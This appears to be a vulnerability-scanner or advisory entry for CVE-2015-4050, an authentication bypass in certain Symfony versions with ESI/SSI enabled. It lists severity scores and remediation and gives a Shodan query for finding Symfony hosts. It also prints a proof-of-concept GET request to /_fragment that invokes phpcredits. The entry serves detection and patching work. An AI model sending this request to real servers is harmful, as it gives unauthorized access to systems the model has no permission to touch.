| Title | Symfony - Authentication Bypass |
|---|---|
| Author | ELSFA7110,meme-lord |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system. |
| Remediation | Apply the latest security patches or upgrade to a non-vulnerable version of Symfony. |
| CVSS Score | 4.3 |
| EPSS Score | 0.76192 |
| CVE ID | CVE-2015-4050 |
| CWE ID | CWE-284 |
| Shodan Query | cpe:"cpe:2.3:a:sensiolabs:symfony" |
| Tags | cve2015 cve symfony rce sensiolabs vuln |
Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.
GET /_fragment?_path=_controller=phpcredits&flag=-1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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N/AN/A